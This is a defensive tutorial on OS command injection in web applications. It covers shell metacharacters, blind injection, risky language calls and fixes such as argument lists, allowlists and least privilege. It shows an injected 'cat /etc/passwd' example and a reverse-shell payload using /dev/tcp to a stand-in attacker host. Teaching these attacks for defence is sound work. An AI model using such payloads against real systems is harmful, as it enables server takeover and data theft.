Command Injection: When Input Reaches the Operating System Shell
If an application builds a system command out of user input, an attacker can smuggle in their own commands. Here is how OS command injection works and how to design it out.
Picture a small admin panel inside a company network. It has one humble job. You type in a server name, click a button, and it tells you whether that server is reachable. Behind the scenes it runs the same ping command a system administrator would type by hand. It has worked perfectly for years. Nobody thinks about it. Then one afternoon someone types something other than a server name into that box, and a few seconds later they are reading the server's password files, downloading its source code, and quietly installing a back door. The panel did exactly what it was built to do. That is the unsettling heart of command injection.
Command injection is what happens when user input finds its way into a command that the server runs on its operating system. The operating system, or OS, is the software that controls the whole machine, things like Linux or Windows. A shell is the program that reads text commands and tells the operating system to carry them out. When your input reaches that shell, you are no longer just filling in a form. You are potentially typing instructions straight into the machine. Like its cousins SQL injection and XSS, it comes down to one recurring mistake: data being treated as instructions. Except here the instructions run on the server's shell, which often means full control.
Scope
Command injection is a well established vulnerability class. This explains it for defenders and learners, on systems you own or are authorised to test.
The core idea
Sometimes an application needs to run an operating system command, and it builds that command by pasting in user input. This pasting together of a command from fixed text and untrusted input is exactly where things go wrong. Picture a tool that lets you ping a host you type in. To ping something simply means to send it a small network message and see if it answers, a quick way to check whether a machine is alive.
The app runs: ping -c 1 <user input>
You enter: example.com
It runs: ping -c 1 example.comSo far, so ordinary. The trouble is that a shell does not see that line as one neat instruction with a single blank to fill in. It reads the whole line and looks for special characters that carry meaning. These are called metacharacters, characters that the shell treats as syntax rather than plain text. The humble semicolon is one of them. To a shell, a semicolon means "that command is finished, here comes another one". So if the input is not handled carefully:
You enter: example.com; cat /etc/passwd
It runs: ping -c 1 example.com; cat /etc/passwdThe shell runs the ping, sees the semicolon, and then obediently runs the attacker's second command too. Here cat /etc/passwd prints out a system file on Linux that lists user accounts, a classic thing to grab first because it proves the attack worked. The application never intended to offer a second command. It only offered a text box for a host name. But because that text landed inside a line the shell parses, the attacker got to write their own instructions.
The semicolon is only the most obvious trick. Shells offer several metacharacters that all let you smuggle in extra commands, and any one of them is enough:
; run one command, then the next
| pipe the first command's output into the second
&& run the second command only if the first succeeds
|| run the second command only if the first fails
` ` backticks: run the command inside them, use the result
$( ) the same idea, run a command and substitute its output
& run a command in the background and carry on
> >> redirect output into a file, which can overwrite thingsBecause there are so many of these, trying to spot and remove each dangerous character by hand is a losing game. There is almost always another way in.
Why it is so dangerous
The injected command runs with the privileges of the application, directly on the server's operating system. Privileges are simply what an account is allowed to do. If the web application runs as a powerful account, the attacker's smuggled commands inherit that same power. That is a big step beyond reading a database. An attacker can typically:
- Read and write files on the server, including configuration, secrets, and source code.
- Launch further tools to explore the network or pivot into it, meaning use this one compromised machine as a launch pad to reach others behind it.
- Establish persistence, a foothold that survives reboots, and effectively take over the host.
A common next move is to open what attackers call a reverse shell. Rather than the attacker connecting into the server, they inject a command that makes the server reach out and connect to them, handing over an interactive prompt. From the network's point of view it looks like ordinary outbound traffic, which is part of why it slips past defences.
An injected reverse shell payload might look like:
; bash -i >& /dev/tcp/attacker-host/4444 0>&1
The server dials home to the attacker and hands over a live shell.This is remote code execution, usually shortened to RCE, which means an attacker running their own code on a machine they do not own from somewhere else entirely. It is why command injection sits among the most severe web vulnerabilities. It is closely related to Shellshock, which was essentially command injection through a flaw in Bash itself, where specially crafted input to the Bash shell caused it to run attacker commands.
Straight to the operating system
SQL injection gives you the database. Command injection gives you the operating system the whole application runs on. When it is present, it is very often game over for that server.
A closer look at how it slips in
Command injection rarely appears because a developer decided to run raw shell commands for fun. It sneaks in through convenience. A language offers a quick way to call out to the operating system, and it is far easier to reach for that than to find the proper library. Common culprits across languages share a family resemblance. They take a single string and hand it to a shell to interpret:
Language style Convenient but risky call
PHP system(), exec(), shell_exec(), passthru()
Python os.system(), subprocess with shell=True
Node.js child_process.exec()
Java Runtime.getRuntime().exec() with a shell string
Ruby backticks, system() with a single stringThe dangerous ingredient in every case is the same. A single string is built up from trusted text plus untrusted input, and then something hands that whole string to a shell. The shell, doing its job, parses the metacharacters it finds.
There is also a quieter variant worth knowing about called blind command injection. Sometimes the application runs your command but never shows you the output. The page looks unchanged. It is tempting to think there is no bug. But an attacker can still confirm it by asking the server to do something observable. They might inject a command that pauses for ten seconds and watch whether the page takes ten seconds longer to load. Or they inject a command that makes the server send a network request to a machine the attacker controls, then check whether that request arrives. No output on the page does not mean no vulnerability. It just means the attacker has to be a little more patient.
Filtering dangerous characters is not a real fix
It is tempting to just strip out semicolons and hope for the best. This does not work. There are too many metacharacters, they differ between shells and operating systems, and encoding tricks can hide them from a naive filter. Blocklisting bad characters is a treadmill you cannot win. The reliable fixes below do not rely on spotting bad input at all.
Designing it out
The theme, as always, is keeping data from being interpreted as commands. The good news is that the strongest defences are structural. They remove the shell's chance to misread input in the first place, rather than trying to sanitise the input by hand. In order of preference:
-
Do not call the shell at all. This is the big one. Most tasks people shell out for have a safe library or built in function in the language. Need to check if a host is reachable? There is usually a network library for that. Need to resize an image or read a file? There is a function for it. Using these avoids the shell entirely, which removes the vulnerability at its root. If there is no shell parsing the input, there is nothing to inject into.
-
If you must run a program, pass arguments safely. Sometimes you genuinely need to run an external program. The trick is to use an interface that takes the program name and each of its arguments as separate items in a list, rather than one long string for a shell to chop up. When arguments are passed as a list, the operating system runs the program directly and hands your input straight to it as a single, literal argument. No shell sees it, so metacharacters lose their magic and become ordinary text.
Unsafe: shell.run("ping -c 1 " + input) # one string, a shell parses it
Safe: run(["ping", "-c", "1", input]) # arguments passed separately, no shell
With the safe form, an input of "example.com; cat /etc/passwd"
becomes a single strange host name that ping simply fails to resolve.
Nothing gets executed as a second command.-
Validate strictly with an allowlist. As a second layer, check that the input looks like what it is supposed to be before you use it. An allowlist means you decide in advance exactly what is permitted and reject everything else. If the input should be a host name, accept only the letters, digits, and dots that a host name can contain, and refuse anything else. This is far safer than a blocklist, where you try to name every bad thing and inevitably miss some. With an allowlist you only have to be right about what is good, which is a much shorter and more stable list.
-
Least privilege. Run the application as an account with as little power as possible. Least privilege means giving each part of a system only the access it truly needs and nothing more. If a successful injection lands in a weak, tightly boxed in account, the attacker inherits that weakness. They may get a foothold, but a much smaller one, and they cannot reach files or systems the account was never allowed to touch.
Defence in depth wins
No single control is a silver bullet, so stack them. Avoid the shell as your first choice, pass arguments as a list when you cannot, validate with an allowlist on top of that, and run everything with least privilege underneath. Each layer catches what the others miss, so a slip in one place does not become a full compromise.
Spotting it in your own code
If you are reviewing an application, the fastest wins come from searching the codebase for the risky calls listed above and asking one question of each: does any part of the string handed to this shell come from user input? User input is broader than a text box. It includes URL parameters, headers, uploaded file names, values pulled from a database that a user set earlier, and data arriving from another service. If untrusted data can reach a shell string, treat that spot as suspect until proven otherwise. The same logic that governs directory traversal applies here: untrusted input should never steer an operation it was not meant to control.
The takeaway
Command injection happens when user input is built into a command the server runs on its shell, letting an attacker append their own commands and, usually, take over the host. Because the injected commands run with the application's own privileges, this is remote code execution, one of the most damaging outcomes in web security. Filtering out dangerous characters is a losing battle. The strongest fix is to avoid the shell entirely and use safe library functions, and where you truly must run a program, pass its arguments as a separate list rather than a string the shell will parse. Layer on strict allowlist validation and least privilege, and keep input as data. Data that stays data can never become a command.